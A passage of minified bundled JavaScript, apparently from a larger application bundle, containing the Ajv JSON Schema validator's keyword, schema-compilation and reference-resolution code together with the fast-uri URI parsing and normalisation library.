keyword")}function M$Y(A,K){let q=A.self.RULES.all;for(let Y in q){let z=q[Y];if(typeof z=="object"&&(0,hZ6.shouldUseRule)(A.schema,z)){let{type:w}=z.definition;if(w.length&&!w.some((H)=>P$Y(K,H)))bZ6(A,`missing type "${w.join(",")}" for keyword "${Y}"`)}}}function P$Y(A,K){return A.includes(K)||K==="number"&&A.includes("integer")}function d27(A,K){return A.includes(K)||K==="integer"&&A.includes("number")}function V$Y(A,K){let q=[];for(let Y of A.dataTypes)if(d27(K,Y))q.push(Y);else if(K.includes("integer")&&Y==="number")q.push("integer");A.dataTypes=q}function bZ6(A,K){let q=A.schemaEnv.baseId+A.errSchemaPath;K+=` at "${q}" (strictTypes)`,(0,Jp.checkStrictMode)(A,K,A.opts.strictTypes)}class xZ6{constructor(A,K,q){if((0,PuA.validateKeywordUsage)(A,K,q),this.gen=A.gen,this.allErrors=A.allErrors,this.keyword=q,this.data=A.data,this.schema=A.schema[q],this.$data=K.$data&&A.opts.$data&&this.schema&&this.schema.$data,this.schemaValue=(0,Jp.schemaRefOrVal)(A,this.schema,q,this.$data),this.schemaType=K.schemaType,this.parentSchema=A.schema,this.params={},this.it=A,this.def=K,this.$data)this.schemaCode=A.gen.const("vSchema",l27(this.$data,A));else if(this.schemaCode=this.schemaValue,!(0,PuA.validSchemaType)(this.schema,K.schemaType,K.allowUndefined))throw Error(`${q} value must be ${JSON.stringify(K.schemaType)}`);if("code"in K?K.trackErrors:K.errors!==!1)this.errsCount=A.gen.const("_errs",G5.default.errors)}result(A,K,q){this.failResult((0,TK.not)(A),K,q)}failResult(A,K,q){if(this.gen.if(A),q)q();else this.error();if(K){if(this.gen.else(),K(),this.allErrors)this.gen.endIf()}else if(this.allErrors)this.gen.endIf();else this.gen.else()}pass(A,K){this.failResult((0,TK.not)(A),void 0,K)}fail(A){if(A===void 0){if(this.error(),!this.allErrors)this.gen.if(!1);return}if(this.gen.if(A),this.error(),this.allErrors)this.gen.endIf();else this.gen.else()}fail$data(A){if(!this.$data)return this.fail(A);let{schemaCode:K}=this;this.fail(TK._`${K} !== undefined && (${(0,TK.or)(this.invalid$data(),A)})`)}error(A,K,q){if(K){this.setParams(K),this._error(A,q),this.setParams({});return}this._error(A,q)}_error(A,K){(A?MuA.reportExtraError:MuA.reportError)(this,this.def.error,K)}$dataError(){(0,MuA.reportError)(this,this.def.$dataError||MuA.keyword$DataError)}reset(){if(this.errsCount===void 0)throw Error('add "trackErrors" to keyword definition');(0,MuA.resetErrorsCount)(this.gen,this.errsCount)}ok(A){if(!this.allErrors)this.gen.if(A)}setParams(A,K){if(K)Object.assign(this.params,A);else this.params=A}block$data(A,K,q=TK.nil){this.gen.block(()=>{this.check$data(A,q),K()})}check$data(A=TK.nil,K=TK.nil){if(!this.$data)return;let{gen:q,schemaCode:Y,schemaType:z,def:w}=this;if(q.if((0,TK.or)(TK._`${Y} === undefined`,K)),A!==TK.nil)q.assign(A,!0);if(z.length||w.validateSchema){if(q.elseIf(this.invalid$data()),this.$dataError(),A!==TK.nil)q.assign(A,!1)}q.else()}invalid$data(){let{gen:A,schemaCode:K,schemaType:q,def:Y,it:z}=this;return(0,TK.or)(w(),H());function w(){if(q.length){if(!(K instanceof TK.Name))throw Error("ajv implementation error");let J=Array.isArray(q)?q:[q];return TK._`${(0,X01.checkDataTypes)(J,K,z.opts.strictNumbers,X01.DataType.Wrong)}`}return TK.nil}function H(){if(Y.validateSchema){let J=A.scopeValue("validate$data",{ref:Y.validateSchema});return TK._`!${J}(${K})`}return TK.nil}}subschema(A,K){let q=(0,SZ6.getSubschema)(this.it,A);(0,SZ6.extendSubschemaData)(q,this.it,A),(0,SZ6.extendSubschemaMode)(q,A);let Y={...this.it,...q,items:void 0,props:void 0};return H$Y(Y,K),Y}mergeEvaluated(A,K){let{it:q,gen:Y}=this;if(!q.opts.unevaluated)return;if(q.props!==!0&&A.props!==void 0)q.props=Jp.mergeEvaluated.props(Y,A.props,q.props,K);if(q.items!==!0&&A.items!==void 0)q.items=Jp.mergeEvaluated.items(Y,A.items,q.items,K)}mergeValidEvaluated(A,K){let{it:q,gen:Y}=this;if(q.opts.unevaluated&&(q.props!==!0||q.items!==!0))return Y.if(K,()=>this.mergeEvaluated(A,TK.Name)),!0}}i27.KeywordCxt=xZ6;function c27(A,K,q,Y){let z=new xZ6(A,q,K);if("code"in q)q.code(z,Y);else if(z.$data&&q.validate)(0,PuA.funcKeywordCode)(z,q);else if("macro"in q)(0,PuA.macroKeywordCode)(z,q);else if(q.compile||q.validate)(0,PuA.funcKeywordCode)(z,q)}var f$Y=/^\/(?:[^~]|~0|~1)*$/,N$Y=/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/;function l27(A,{dataLevel:K,dataNames:q,dataPathArr:Y}){let z,w;if(A==="")return G5.default.rootData;if(A[0]==="/"){if(!f$Y.test(A))throw Error(`Invalid JSON-pointer: ${A}`);z=A,w=G5.default.rootData}else{let X=N$Y.exec(A);if(!X)throw Error(`Invalid JSON-pointer: ${A}`);let $=+X[1];if(z=X[2],z==="#"){if($>=K)throw Error(O("property/index",$));return Y[K-$]}if($>K)throw Error(O("data",$));if(w=q[K-$],!z)return w}let H=w,J=z.split("/");for(let X of J)if(X)w=TK._`${w}${(0,TK.getProperty)((0,Jp.unescapeJsonPointer)(X))}`,H=TK._`${H} && ${w}`;return H;function O(X,$){return`Cannot access ${X} ${$} levels up, current level is ${K}`}}i27.getData=l27});var $01=v((o27)=>{Object.defineProperty(o27,"__esModule",{value:!0});class r27 extends Error{constructor(A){super("validation failed");this.errors=A,this.ajv=this.validation=!0}}o27.default=r27});var fuA=v((s27)=>{Object.defineProperty(s27,"__esModule",{value:!0});var uZ6=juA();class a27 extends Error{constructor(A,K,q,Y){super(Y||`can't resolve reference ${q} from id ${K}`);this.missingRef=(0,uZ6.resolveUrl)(A,K,q),this.missingSchema=(0,uZ6.normalizeId)((0,uZ6.getFullPath)(A,this.missingRef))}}s27.default=a27});var G01=v((Az7)=>{Object.defineProperty(Az7,"__esModule",{value:!0});Az7.resolveSchema=Az7.getCompilingSchema=Az7.resolveRef=Az7.compileSchema=Az7.SchemaEnv=void 0;var NI=B3(),C$Y=$01(),$qA=Hp(),TI=juA(),t27=hY(),L$Y=VuA();class NuA{constructor(A){var K;this.refs={},this.dynamicAnchors={};let q;if(typeof A.schema=="object")q=A.schema;this.schema=A.schema,this.schemaId=A.schemaId,this.root=A.root||this,this.baseId=(K=A.baseId)!==null&&K!==void 0?K:(0,TI.normalizeId)(q===null||q===void 0?void 0:q[A.schemaId||"$id"]),this.schemaPath=A.schemaPath,this.localRefs=A.localRefs,this.meta=A.meta,this.$async=q===null||q===void 0?void 0:q.$async,this.refs={}}}Az7.SchemaEnv=NuA;function mZ6(A){let K=e27.call(this,A);if(K)return K;let q=(0,TI.getFullPath)(this.opts.uriResolver,A.root.baseId),{es5:Y,lines:z}=this.opts.code,{ownProperties:w}=this.opts,H=new NI.CodeGen(this.scope,{es5:Y,lines:z,ownProperties:w}),J;if(A.$async)J=H.scopeValue("Error",{ref:C$Y.default,code:NI._`require("ajv/dist/runtime/validation_error").default`});let O=H.scopeName("validate");A.validateName=O;let X={gen:H,allErrors:this.opts.allErrors,data:$qA.default.data,parentData:$qA.default.parentData,parentDataProperty:$qA.default.parentDataProperty,dataNames:[$qA.default.data],dataPathArr:[NI.nil],dataLevel:0,dataTypes:[],definedProperties:new Set,topSchemaRef:H.scopeValue("schema",this.opts.code.source===!0?{ref:A.schema,code:(0,NI.stringify)(A.schema)}:{ref:A.schema}),validateName:O,ValidationError:J,schema:A.schema,schemaEnv:A,rootId:q,baseId:A.baseId||q,schemaPath:NI.nil,errSchemaPath:A.schemaPath||(this.opts.jtd?"":"#"),errorPath:NI._`""`,opts:this.opts,self:this},$;try{this._compilations.add(A),(0,L$Y.validateFunctionCode)(X),H.optimize(this.opts.code.optimize);let _=H.toString();if($=`${H.scopeRefs($qA.default.scope)}return ${_}`,this.opts.code.process)$=this.opts.code.process($,A);let Z=Function(`${$qA.default.self}`,`${$qA.default.scope}`,$)(this,this.scope.get());if(this.scope.value(O,{ref:Z}),Z.errors=null,Z.schema=A.schema,Z.schemaEnv=A,A.$async)Z.$async=!0;if(this.opts.code.source===!0)Z.source={validateName:O,validateCode:_,scopeValues:H._values};if(this.opts.unevaluated){let{props:W,items:D}=X;if(Z.evaluated={props:W instanceof NI.Name?void 0:W,items:D instanceof NI.Name?void 0:D,dynamicProps:W instanceof NI.Name,dynamicItems:D instanceof NI.Name},Z.source)Z.source.evaluated=(0,NI.stringify)(Z.evaluated)}return A.validate=Z,A}catch(_){if(delete A.validate,delete A.validateName,$)this.logger.error("Error compiling schema, function code:",$);throw _}finally{this._compilations.delete(A)}}Az7.compileSchema=mZ6;function R$Y(A,K,q){var Y;q=(0,TI.resolveUrl)(this.opts.uriResolver,K,q);let z=A.refs[q];if(z)return z;let w=S$Y.call(this,A,q);if(w===void 0){let H=(Y=A.localRefs)===null||Y===void 0?void 0:Y[q],{schemaId:J}=this.opts;if(H)w=new NuA({schema:H,schemaId:J,root:A,baseId:K})}if(w===void 0)return;return A.refs[q]=y$Y.call(this,w)}Az7.resolveRef=R$Y;function y$Y(A){if((0,TI.inlineRef)(A.schema,this.opts.inlineRefs))return A.schema;return A.validate?A:mZ6.call(this,A)}function e27(A){for(let K of this._compilations)if(I$Y(K,A))return K}Az7.getCompilingSchema=e27;function I$Y(A,K){return A.schema===K.schema&&A.root===K.root&&A.baseId===K.baseId}function S$Y(A,K){let q;while(typeof(q=this.refs[K])=="string")K=q;return q||this.schemas[K]||_01.call(this,A,K)}function _01(A,K){let q=this.opts.uriResolver.parse(K),Y=(0,TI._getFullPath)(this.opts.uriResolver,q),z=(0,TI.getFullPath)(this.opts.uriResolver,A.baseId,void 0);if(Object.keys(A.schema).length>0&&Y===z)return BZ6.call(this,q,A);let w=(0,TI.normalizeId)(Y),H=this.refs[w]||this.schemas[w];if(typeof H=="string"){let J=_01.call(this,A,H);if(typeof(J===null||J===void 0?void 0:J.schema)!=="object")return;return BZ6.call(this,q,J)}if(typeof(H===null||H===void 0?void 0:H.schema)!=="object")return;if(!H.validate)mZ6.call(this,H);if(w===(0,TI.normalizeId)(K)){let{schema:J}=H,{schemaId:O}=this.opts,X=J[O];if(X)z=(0,TI.resolveUrl)(this.opts.uriResolver,z,X);return new NuA({schema:J,schemaId:O,root:A,baseId:z})}return BZ6.call(this,q,H)}Az7.resolveSchema=_01;var h$Y=new Set(["properties","patternProperties","enum","dependencies","definitions"]);function BZ6(A,{baseId:K,schema:q,root:Y}){var z;if(((z=A.fragment)===null||z===void 0?void 0:z[0])!=="/")return;for(let J of A.fragment.slice(1).split("/")){if(typeof q==="boolean")return;let O=q[(0,t27.unescapeFragment)(J)];if(O===void 0)return;q=O;let X=typeof q==="object"&&q[this.opts.schemaId];if(!h$Y.has(J)&&X)K=(0,TI.resolveUrl)(this.opts.uriResolver,K,X)}let w;if(typeof q!="boolean"&&q.$ref&&!(0,t27.schemaHasRulesButRef)(q,this.RULES)){let J=(0,TI.resolveUrl)(this.opts.uriResolver,K,q.$ref);w=_01.call(this,Y,J)}let{schemaId:H}=this.opts;if(w=w||new NuA({schema:q,schemaId:H,root:Y,baseId:K}),w.schema!==w.root.schema)return w;return}});var qz7=v((tew,m$Y)=>{m$Y.exports={$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON AnySchema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}});var zz7=v((eew,Yz7)=>{var g$Y={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};Yz7.exports={HEX:g$Y}});var Gz7=v((AAH,_z7)=>{var{HEX:F$Y}=zz7(),Q$Y=/^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u;function Oz7(A){if($z7(A,".")<3)return{host:A,isIPV4:!1};let K=A.match(Q$Y)||[],[q]=K;if(q)return{host:p$Y(q,"."),isIPV4:!0};else return{host:A,isIPV4:!1}}function gZ6(A,K=!1){let q="",Y=!0;for(let z of A){if(F$Y[z]===void 0)return;if(z!=="0"&&Y===!0)Y=!1;if(!Y)q+=z}if(K&&q.length===0)q="0";return q}function U$Y(A){let K=0,q={error:!1,address:"",zone:""},Y=[],z=[],w=!1,H=!1,J=!1;function O(){if(z.length){if(w===!1){let X=gZ6(z);if(X!==void 0)Y.push(X);else return q.error=!0,!1}z.length=0}return!0}for(let X=0;X<A.length;X++){let $=A[X];if($==="["||$==="]")continue;if($===":"){if(H===!0)J=!0;if(!O())break;if(K++,Y.push(":"),K>7){q.error=!0;break}if(X-1>=0&&A[X-1]===":")H=!0;continue}else if($==="%"){if(!O())break;w=!0}else{z.push($);continue}}if(z.length)if(w)q.zone=z.join("");else if(J)Y.push(z.join(""));else Y.push(gZ6(z));return q.address=Y.join(""),q}function Xz7(A){if($z7(A,":")<2)return{host:A,isIPV6:!1};let K=U$Y(A);if(!K.error){let{address:q,address:Y}=K;if(K.zone)q+="%"+K.zone,Y+="%25"+K.zone;return{host:q,escapedHost:Y,isIPV6:!0}}else return{host:A,isIPV6:!1}}function p$Y(A,K){let q="",Y=!0,z=A.length;for(let w=0;w<z;w++){let H=A[w];if(H==="0"&&Y){if(w+1<=z&&A[w+1]===K||w+1===z)q+=H,Y=!1}else{if(H===K)Y=!0;else Y=!1;q+=H}}return q}function $z7(A,K){let q=0;for(let Y=0;Y<A.length;Y++)if(A[Y]===K)q++;return q}var wz7=/^\.\.?\//u,Hz7=/^\/\.(?:\/|$)/u,Jz7=/^\/\.\.(?:\/|$)/u,d$Y=/^\/?(?:.|\n)*?(?=\/|$)/u;function c$Y(A){let K=[];while(A.length)if(A.match(wz7))A=A.replace(wz7,"");else if(A.match(Hz7))A=A.replace(Hz7,"/");else if(A.match(Jz7))A=A.replace(Jz7,"/"),K.pop();else if(A==="."||A==="..")A="";else{let q=A.match(d$Y);if(q){let Y=q[0];A=A.slice(Y.length),K.push(Y)}else throw Error("Unexpected dot segment condition")}return K.join("")}function l$Y(A,K){let q=K!==!0?escape:unescape;if(A.scheme!==void 0)A.scheme=q(A.scheme);if(A.userinfo!==void 0)A.userinfo=q(A.userinfo);if(A.host!==void 0)A.host=q(A.host);if(A.path!==void 0)A.path=q(A.path);if(A.query!==void 0)A.query=q(A.query);if(A.fragment!==void 0)A.fragment=q(A.fragment);return A}function i$Y(A){let K=[];if(A.userinfo!==void 0)K.push(A.userinfo),K.push("@");if(A.host!==void 0){let q=unescape(A.host),Y=Oz7(q);if(Y.isIPV4)q=Y.host;else{let z=Xz7(Y.host);if(z.isIPV6===!0)q=`[${z.escapedHost}]`;else q=A.host}K.push(q)}if(typeof A.port==="number"||typeof A.port==="string")K.push(":"),K.push(String(A.port));return K.length?K.join(""):void 0}_z7.exports={recomposeAuthority:i$Y,normalizeComponentEncoding:l$Y,removeDotSegments:c$Y,normalizeIPv4:Oz7,normalizeIPv6:Xz7,stringArrayToHexStripped:gZ6}});var Pz7=v((KAH,Mz7)=>{var n$Y=/^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu,r$Y=/([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-.:;=@]|%[\da-f]{2})+)/iu;function Zz7(A){return typeof A.secure==="boolean"?A.secure:String(A.scheme).toLowerCase()==="wss"}function Wz7(A){if(!A.host)A.error=A.error||"HTTP URIs must have a host.";return A}function Dz7(A){let K=String(A.scheme).toLowerCase()==="https";if(A.port===(K?443:80)||A.port==="")A.port=void 0;if(!A.path)A.path="/";return A}function o$Y(A){return A.secure=Zz7(A),A.resourceName=(A.path||"/")+(A.query?"?"+A.query:""),A.path=void 0,A.query=void 0,A}function a$Y(A){if(A.port===(Zz7(A)?443:80)||A.port==="")A.port=void 0;if(typeof A.secure==="boolean")A.scheme=A.secure?"wss":"ws",A.secure=void 0;if(A.resourceName){let[K,q]=A.resourceName.split("?");A.path=K&&K!=="/"?K:void 0,A.query=q,A.resourceName=void 0}return A.fragment=void 0,A}function s$Y(A,K){if(!A.path)return A.error="URN can not be parsed",A;let q=A.path.match(r$Y);if(q){let Y=K.scheme||A.scheme||"urn";A.nid=q[1].toLowerCase(),A.nss=q[2];let z=`${Y}:${K.nid||A.nid}`,w=FZ6[z];if(A.path=void 0,w)A=w.parse(A,K)}else A.error=A.error||"URN can not be parsed.";return A}function t$Y(A,K){let q=K.scheme||A.scheme||"urn",Y=A.nid.toLowerCase(),z=`${q}:${K.nid||Y}`,w=FZ6[z];if(w)A=w.serialize(A,K);let H=A,J=A.nss;return H.path=`${Y||K.nid}:${J}`,K.skipEscape=!0,H}function e$Y(A,K){let q=A;if(q.uuid=q.nss,q.nss=void 0,!K.tolerant&&(!q.uuid||!n$Y.test(q.uuid)))q.error=q.error||"UUID is not valid.";return q}function A_Y(A){let K=A;return K.nss=(A.uuid||"").toLowerCase(),K}var jz7={scheme:"http",domainHost:!0,parse:Wz7,serialize:Dz7},K_Y={scheme:"https",domainHost:jz7.domainHost,parse:Wz7,serialize:Dz7},Z01={scheme:"ws",domainHost:!0,parse:o$Y,serialize:a$Y},q_Y={scheme:"wss",domainHost:Z01.domainHost,parse:Z01.parse,serialize:Z01.serialize},Y_Y={scheme:"urn",parse:s$Y,serialize:t$Y,skipNormalize:!0},z_Y={scheme:"urn:uuid",parse:e$Y,serialize:A_Y,skipNormalize:!0},FZ6={http:jz7,https:K_Y,ws:Z01,wss:q_Y,urn:Y_Y,"urn:uuid":z_Y};Mz7.exports=FZ6});var fz7=v((qAH,D01)=>{var{normalizeIPv6:w_Y,normalizeIPv4:H_Y,removeDotSegments:TuA,recomposeAuthority:J_Y,normalizeComponentEncoding:W01}=Gz7(),QZ6=Pz7();function O_Y(A,K){if(typeof A==="string")A=Uu(Op(A,K),K);else if(typeof A==="object")A=Op(Uu(A,K),K);return A}function X_Y(A,K,q){let Y=Object.assign({scheme:"null"},q),z=Vz7(Op(A,Y),Op(K,Y),Y,!0);return Uu(z,{...Y,skipEscape:!0})}function Vz7(A,K,q,Y){let z={};if(!Y)A=Op(Uu(A,q),q),K=Op(Uu(K,q),q);if(q=q||{},!q.tolerant&&K.scheme)z.scheme=K.scheme,z.userinfo=K.userinfo,z.host=K.host,z.port=K.port,z.path=TuA(K.path||""),z.query=K.query;else{if(K.userinfo!==void 0||K.host!==void 0||K.port!==void 0)z.userinfo=K.userinfo,z.host=K.host,z.port=K.port,z.path=TuA(K.path||""),z.query=K.query;else{if(!K.path)if(z.path=A.path,K.query!==void 0)z.query=K.query;else z.query=A.query;else{if(K.path.charAt(0)==="/")z.path=TuA(K.path);else{if((A.userinfo!==void 0||A.host!==void 0||A.port!==void 0)&&!A.path)z.path="/"+K.path;else if(!A.path)z.path=K.path;else z.path=A.path.slice(0,A.path.lastIndexOf("/")+1)+K.path;z.path=TuA(z.path)}z.query=K.query}z.userinfo=A.userinfo,z.host=A.host,z.port=A.port}z.scheme=A.scheme}return z.fragment=K.fragment,z}function $_Y(A,K,q){if(typeof A==="string")A=unescape(A),A=Uu(W01(Op(A,q),!0),{...q,skipEscape:!0});else if(typeof A==="object")A=Uu(W01(A,!0),{...q,skipEscape:!0});if(typeof K==="string")K=unescape(K),K=Uu(W01(Op(K,q),!0),{...q,skipEscape:!0});else if(typeof K==="object")K=Uu(W01(K,!0),{...q,skipEscape:!0});return A.toLowerCase()===K.toLowerCase()}function Uu(A,K){let q={host:A.host,scheme:A.scheme,userinfo:A.userinfo,port:A.port,path:A.path,query:A.query,nid:A.nid,nss:A.nss,uuid:A.uuid,fragment:A.fragment,reference:A.reference,resourceName:A.resourceName,secure:A.secure,error:""},Y=Object.assign({},K),z=[],w=QZ6[(Y.scheme||q.scheme||"").toLowerCase()];if(w&&w.serialize)w.serialize(q,Y);if(q.path!==void 0)if(!Y.skipEscape){if(q.path=escape(q.path),q.scheme!==void 0)q.path=q.path.split("%3A").join(":")}else q.path=unescape(q.path);if(Y.reference!=="suffix"&&q.scheme)z.push(q.scheme,":");let H=J_Y(q);if(H!==void 0){if(Y.reference!=="suffix")z.push("//");if(z.push(H),q.path&&q.path.charAt(0)!=="/")z.push("/")}if(q.path!==void 0){let J=q.path;if(!Y.absolutePath&&(!w||!w.absolutePath))J=TuA(J);if(H===void 0)J=J.replace(/^\/\//u,"/%2F");z.push(J)}if(q.query!==void 0)z.push("?",q.query);if(q.fragment!==void 0)z.push("#",q.fragment);return z.join("")}var __Y=Array.from({length:127},(A,K)=>/[^!"$&'()*+,\-.;=_`a-z{}~]/u.test(String.fromCharCode(K)));function G_Y(A){let K=0;for(let q=0,Y=A.length;q<Y;++q)if(K=A.charCodeAt(q),K>126||__Y[K])return!0;return!1}var Z_Y=/^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u;function Op(A,K){let q=Object.assign({},K),Y={scheme:void 0,userinfo:void 0,host:"",port:void 0,path:"",query:void 0,fragment:void 0},z=A.indexOf("%")!==-1,w=!1;if(q.reference==="suffix")A=(q.scheme?q.scheme+":":"")+"//"+A;let H=A.match(Z_Y);if(H){if(Y.scheme=H[1],Y.userinfo=H[3],Y.host=H[4],Y.port=parseInt(H[5],10),Y.path=H[6]||"",Y.query=H[7],Y.fragment=H[8],isNaN(Y.port))Y.port=H[5];if(Y.host){let O=H_Y(Y.host);if(O.isIPV4===!1){let X=w_Y(O.host);Y.host=X.host.toLowerCase(),w=X.isIPV6}else Y.host=O.host,w=!0}if(Y.scheme===void 0&&Y.userinfo===void 0&&Y.host===void 0&&Y.port===void 0&&Y.query===void 0&&!Y.path)Y.reference="same-document";else if(Y.scheme===void 0)Y.reference="relative";else if(Y.fragment===void 0)Y.reference="absolute";else Y.reference="uri";if(q.reference&&q.reference!=="suffix"&&q.reference!==Y.reference)Y.error=Y.error||"URI is not a "+q.reference+" reference.";let J=QZ6[(q.scheme||Y.scheme||"").toLowerCase()];if(!q.unicodeSupport&&(!J||!J.unicodeSupport)){if(Y.host&&(q.domainHost||J&&J.domainHost)&&w===!1&&G_Y(Y.host))try{Y.host=URL.domainToASCII(Y.host.toLowerCase())}catch(O){Y.error=Y.error||"Host's domain name can not be converted to ASCII: "+O}}if(!J||J&&!J.skipNormalize){if(z&&Y.scheme!==void 0)Y.scheme=unescape(Y.scheme);if(z&&Y.host!==void 0)Y.host=unescape(Y.host);if(Y.path)Y.path=escape(unescape(Y.path));if(Y.fragment)Y.fragment=encodeURI(decodeURIComponent(Y.fragment))}if(J&&J.parse)J.parse(Y,q)}else Y.error=Y.error||"URI can not be parsed.";return Y}var UZ6={SCHEMES:QZ6,normalize:O_Y,resolve:X_Y,resolveComponents:Vz7,equal:$_Y,serialize:Uu,parse:Op};D01.exports=UZ6;D01.exports.default=UZ6;D01.exports.fastUri=UZ6});var vz7=v((Tz7)=>{Object.defineProperty(Tz7,"__esModule",{value:!0});var Nz7=fz7();Nz7.code='require("ajv/dist/runtime/uri").default';Tz7.default=Nz7});var Sz7=v((Xp)=>{Object.defineProperty(Xp,"__esModule",{value:!0});Xp.CodeGen=Xp.Name=Xp.nil=Xp.stringify=Xp.str=Xp._=Xp.KeywordCxt=void 0;var D_Y=VuA();Object.defineProperty(Xp,"KeywordCxt",{enumerable:!0,get:function(){return D_Y.KeywordCxt}});var aGA=B3();Object.defineProperty(Xp,"_",{enumerable:!0,get:function(){return aGA._}});Object.defineProperty(Xp,"str",{enumerable:!0,get:function(){return aGA.str}});Object.defineProperty(Xp,"stringify",{enumerable:!0,get:function(){return aGA.stringify}});Object.defineProperty(Xp,"nil",{enumerable:!0,get:function(){return aGA.nil}});Object.defineProperty(Xp,"Name",{enumerable:!0,get:function(){return aGA.Name}});Object.defineProperty(Xp,"CodeGen",{enumerable:!0,get:function(){return aGA.CodeGen}});var j_Y=$01(),Rz7=fuA(),M_Y=NZ6(),vuA=G01(),P_Y=B3(),EuA=juA(),j01=DuA(),dZ6=hY(),Ez7=qz7(),V_Y=vz7(),yz7=(A,K)=>new RegExp(A,K);yz7.code="new RegExp";var f_Y=["removeAdditional","useDefaults","coerceTypes"],N_Y=new Set(["validate","serialize","parse","wrapper","root","schema","keyword","pattern","formats","validate$data","func","obj","Error"]),T_Y={errorDataPath:"",format:"`validateFormats: false` can be used instead.",nullable:'"nullable" keyword is supported by default.',jsonPointers:"Deprecated jsPropertySyntax can be used instead.",extendRefs:"Deprecated ignoreKeywordsWithRef can be used instead.",missingRefs:"Pass empty schema with $id that should be ignored to ajv.addSchema.",processCode:"Use option `code: {process: (code, schemaEnv: object) => string}`",sourceCode:"Use option `code: {source: true}`",strictDefaults:"It is default now, see option `strict`.",strictKeywords:"It is default now, see option `strict`.",uniqueItems:'"uniqueItems" keyword is always validated.',unknownFormats:"Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).",cache:"Map is used as cache, schema object as key.",serialize:"Map is used as cache, schema object as key.",ajvErrors:"It is default now."},v_Y={ignoreKeywordsWithRef:"",jsPropertySyntax:"",unicode:'"minLength"/"maxLength" account for unicode characters by default.'},kz7=200;function E_Y(A){var K,q,Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M,P,f,N,T,C,R,x,y;let B=A.strict,b=(K=A.code)===null||K===void 0?void 0:K.optimize,F=b===!0||b===void 0?1:b||0,Q=(Y=(q=A.code)===null||q===void 0?void 0:q.regExp)!==null&&Y!==void 0?Y:yz7,u=(z=A.uriResolver)!==null&&z!==void 0?z:V_Y.default;return{strictSchema:(H=(w=A.strictSchema)!==null&&w!==void 0?w:B)!==null&&H!==void 0?H:!0,strictNumbers:(O=(J=A.strictNumbers)!==null&&J!==void 0?J:B)!==null&&O!==void 0?O:!0,strictTypes:($=(X=A.strictTypes)!==null&&X!==void 0?X:B)!==null&&$!==void 0?$:"log",strictTuples:(G=(_=A.strictTuples)!==null&&_!==void 0?_:B)!==null&&G!==void 0?G:"log",strictRequired:(W=(Z=A.strictRequired)!==null&&Z!==void 0?Z:B)!==null&&W!==void 0?W:!1,code:A.code?{...A.code,optimize:F,regExp:Q}:{optimize:F,regExp:Q},loopRequired:(D=A.loopRequired)!==null&&D!==void 0?D:kz7,loopEnum:(j=A.loopEnum)!==null&&j!==void 0?j:kz7,meta:(M=A.meta)!==null&&M!==void 0?M:!0,messages:(P=A.messages)!==null&&P!==void 0?P:!0,inlineRefs:(f=A.inlineRefs)!==null&&f!==void 0?f:!0,schemaId:(N=A.schemaId)!==null&&N!==void 0?N:"$id",addUsedSchema:(T=A.addUsedSchema)!==null&&T!==void 0?T:!0,validateSchema:(C=A.validateSchema)!==null&&C!==void 0?C:!0,validateFormats:(R=A.validateFormats)!==null&&R!==void 0?R:!0,unicodeRegExp:(x=A.unicodeRegExp)!==null&&x!==void 0?x:!0,int32range:(y=A.int32range)!==null&&y!==void 0?y:!0,uriResolver:u}}class M01{constructor(A={}){this.schemas={},this.refs={},this.formats={},this._compilations=new Set,this._loading={},this._cache=new Map,A=this.opts={...A,...E_Y(A)};let{es5:K,lines:q}=this.opts.code;this.scope=new P_Y.ValueScope({scope:{},prefixes:N_Y,es5:K,lines:q}),this.logger=I_Y(A.logger);let Y=A.validateFormats;if(A.validateFormats=!1,this.RULES=(0,M_Y.getRules)(),Cz7.call(this,T_Y,A,"NOT SUPPORTED"),Cz7.call(this,v_Y,A,"DEPRECATED","warn"),this._metaOpts=R_Y.call(this),A.formats)C_Y.call(this);if(this._addVocabularies(),this._addDefaultMetaSchema(),A.keywords)L_Y.call(this,A.keywords);if(typeof A.meta=="object")this.addMetaSchema(A.meta);k_Y.call(this),A.validateFormats=Y}_addVocabularies(){this.addKeyword("$async")}_addDefaultMetaSchema(){let{$data:A,meta:K,schemaId:q}=this.opts,Y=Ez7;if(q==="id")Y={...Ez7},Y.id=Y.$id,delete Y.$id;if(K&&A)this.addMetaSchema(Y,Y[q],!1)}defaultMeta(){let{meta:A,schemaId:K}=this.opts;return this.opts.defaultMeta=typeof A=="object"?A[K]||A:void 0}validate(A,K){let q;if(typeof A=="string"){if(q=this.getSchema(A),!q)throw Error(`no schema with key or ref "${A}"`)}else q=this.compile(A);let Y=q(K);if(!("$async"in q))this.errors=q.errors;return Y}compile(A,K){let q=this._addSchema(A,K);return q.validate||this._compileSchemaEnv(q)}compileAsync(A,K){if(typeof this.opts.loadSchema!="function")throw Error("options.loadSchema should be a function");let{loadSchema:q}=this.opts;return Y.call(this,A,K);async function Y(X,$){await z.call(this,X.$schema);let _=this._addSchema(X,$);return _.validate||w.call(this,_)}async function z(X){if(X&&!this.getSchema(X))await Y.call(this,{$ref:X},!0)}async function w(X){try{return this._compileSchemaEnv(X)}catch($){if(!($ instanceof Rz7.default))throw $;return H.call(this,$),await J.call(this,$.missingSchema),w.call(this,X)}}function H({missingSchema:X,missingRef:$}){if(this.refs[X])throw Error(`AnySchema ${X} is loaded but ${$} cannot be resolved`)}async function J(X){let $=await O.call(this,X);if(!this.refs[X])await z.call(this,$.$schema);if(!this.refs[X])this.addSchema($,X,K)}async function O(X){let $=this._loading[X];if($)return $;try{return await(this._loading[X]=q(X))}finally{delete this._loading[X]}}}addSchema(A,K,q,Y=this.opts.validateSchema){if(Array.isArray(A)){for(let w of 